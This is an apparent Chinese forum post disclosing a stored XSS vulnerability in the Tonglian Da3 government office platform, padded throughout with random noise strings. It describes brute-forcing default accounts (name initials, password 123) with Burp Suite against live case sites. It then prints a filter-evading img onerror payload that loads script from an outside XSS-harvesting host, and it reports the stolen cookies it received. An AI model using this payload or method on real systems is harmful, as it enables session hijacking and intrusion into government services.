' b4 ~7 @5 y( S( _6 K) m' ~ ) Q- |* r% K }$ ?! y
同联Da3协同办公平台后台通用储存型xss漏洞
- w# K" V; j) Y3 e0 Q! ~
9 O9 M9 S7 |+ d( y+ [0 B. r6 d
) q$ y- a7 H k, K' U1 ?$ {5 Y, d 平台简介:7 \" K) A+ c- m5 h8 |/ N3 U
, v: o' {+ ~. M6 k
7 ?+ g9 I& m: N4 ]/ X; S % [4 j7 a8 ^. }* b
8 F: D7 g- n( y" I9 ]# C& q. K
# j, T: [4 Z8 Y5 }7 Z! N
北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
& g/ Q" Q3 U9 _% C- K D* ^
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
+ F1 g0 p# d$ ]' V
同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献! C% ]. u8 Z+ t4 ~' p
; k2 G% u I4 A5 P% J4 ?" f; `
- l- ?- j+ H4 V4 Z9 u0 Y
+ @- a$ @: Y; g. \0 g9 u
2 N3 C/ p8 R; m' [$ ?( i, a
/ w, A2 @& [$ A
由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址:
+ T+ Y3 Q, a' w8 N7 l) x3 J& o! B
9 H2 E1 j- m" }2 Z; N8 C4 K
2 b0 Q6 }) t6 Q # I+ j5 H; E o* Q2 |* Z
7 f/ A/ E: {' D: E$ p& m7 O ; F: }3 I5 ]1 k6 ~, i1 x
http://1.1.1.1:7197/cap-aco/#(案例2-)% a$ ]( ~4 A, u
2 o9 w: |4 }2 d) D. v+ K6 |% ~
4 U/ I4 h4 R; [/ z+ N# X http://www.XXOO.com (案例1-官网网站)4 }8 h I$ d; P3 Q4 w2 n5 u- y
& {& m9 f% K( q, d3 `3 P
6 d* {) O3 }$ y# ~% Y0 M$ E 漏洞详情:! m- j! K. k8 H9 k- Z
) n0 ?* K6 U" O) w
: j u8 R, ^/ k1 y
案例一、
7 S8 N2 X& Y' |1 T( I
; E% p# T% ~- Q9 I1 j6 J G
' }0 W5 L) N0 I+ _/ w& w
初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试
4 ^! u8 h! N5 |" z
% ? K4 p, r" n
) S/ M1 D! q( E0 N) B: u3 W0 A 首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:; |1 R- b) O# {$ z E+ f
% Q; b0 k0 m V0 g% ?2 R8 d: k
5 _; u1 g$ @5 q9 O7 H2 Q' \5 E6 L - B* g. J7 u6 Y. I. o K2 W
& c7 k H( z" ^# u
w+ j" j7 L& x& i# t. A) Q$ ^0 d
V% \' [5 B5 X: n
3 D! {$ b6 V( Y
* w! k: ?# w* [; {' W% V* F status为302即表示破解成功,然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞,我在编机器里填写好标题、选择人员,点html如图:
4 V: P |* d: e0 g, {; {2 q
0 E, d, S: s1 o- l) B. u + _% {9 D! [# j: a% {. v
: k/ y/ Q+ ~" R* Y6 H8 L
. [9 E& [$ [9 [5 {2 |( |( @
: A" u: p8 ^/ \- C1 C: ]
9 U( ]- I* C* K' i2 C7 m
% @/ E+ e4 W, N3 u; y
8 X. g5 W2 B- j3 k. q& E 然后插我们的xss跨站代码(经过测试发现过滤了好多标签,比如script,没过滤img、iframe标签),这里我们用img标签来测试,payload如下 0 {% t4 J3 M# r1 ~! U
3 ]4 u7 X" R; ^ 3 N6 N7 `: K" E4 ?; j
* l* u/ C7 e3 G+ x: {7 ?8 S
+ Z; o9 V+ E$ U: R" n1 S& v; z4 J# @
1 z2 `. e* C }. S+ Y9 C( N
<img src=x1 T, ]- r4 U( Q9 ]6 ^% R0 L( s& `6 ~
onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>,如图:
6 {7 L; P: |. M7 X9 j
% u. @+ k( g( C" r
/ b0 P6 b, e' |1 Q n" s
$ ~/ l3 @( {& W) w r
) r5 D! v, F2 d7 @, V/ D! i
0 l( Q; l4 c8 P9 G" l# x
然后发送,接收cookie如图: 8 F- R7 m8 @- b# v4 S
3 O9 }6 J) ^" K1 [( q- @$ Y
4 I% ?0 j- U/ T# u' t4 K9 ^; n ; x3 W6 {& ?: V! F" q
( g- r! @, {& R! S1 e
- q" h3 Z m; d$ f) U. C7 A
% B7 x d. L0 G9 k6 r! |# Z8 p
% L( s9 t/ U0 s4 g- y , @/ L0 A) K% B# R! E8 [0 n3 Z" J
- s0 T) R! G, L/ p4 x9 d% L* Q' ?7 r
. u* a2 O$ t) ?+ c* J' `# b
) d! c! Q/ X2 g( A8 w# h/ e $ U! f( R5 e3 b: x0 T1 `$ C
0 C6 Z* o6 T& e) Z
) X( o( g1 ]+ u6 O
# @; N. P/ K( W6 P
5 ? S" b0 n8 B% J) v+ F) [
) c, o4 b. h( ^9 o2 L* ^# j2 K5 u
, M$ N/ U6 _; u" y3 [( i- Z
2 b0 i, e5 F B2 D' v
% g9 h6 D/ ^* F; Y6 d f
| z, I, h: G% R- c# R
k6 D- N) p% [$ j
6 f' K/ y; F1 W7 b; L4 c
案例2、 ( P, Q1 n4 M- O( W2 H
5 ^' r$ p) B9 P& y
8 Q( d% K$ K* L, Q1 W# ?1 w2 u' p! N
前面步骤都一样,下面看效果图: + a+ i1 W2 a. t6 m
7 O$ Q. J/ g4 ]' }3 f$ L
" E( N' X, h F6 F& y0 n
* a0 _) d% L# a3 E) \6 ~
# ]' S' `; ?+ a# m" x! }% @
* L) h8 x/ b5 F! p3 }; j
" Z, n# L# ?3 q+ z7 V( k- G
! i& R5 Z1 ^7 x& y; ? + ]' {/ ]; |$ R+ q2 @
3 Z$ h" A1 e, |
1 R2 n" S. H8 j, G4 r8 D
& E1 p, M N2 t$ P5 Q$ o0 Z4 Q
- q6 H/ [2 [; K7 l
0 y' x' ]% s1 ^$ \- b ! y' G) a# q/ D/ y: A
3 l5 K7 K1 \7 S
0 H9 o2 ^6 I, U) H* P d! F: t . a+ {' e) @+ M/ s% A& B8 b! `
0 Z. t L0 F+ `; T5 q( p
6 O g* D! Q4 F9 I1 A6 k 8 R2 J! Z( b. N
. X% M8 O5 x$ y8 S9 {7 A7 Z
- {3 Z6 O2 X4 T* {# j W
' L% |# \; k( M0 ^5 a0 P
! }% w! n: U5 M u1 `
/ f: i: Y$ J- T2 X) R, K& M% P
6 h4 W! k; ?9 ~9 W 2 Y, }0 B+ V* q! |5 V
& h/ Y$ g) }4 i1 F, g" A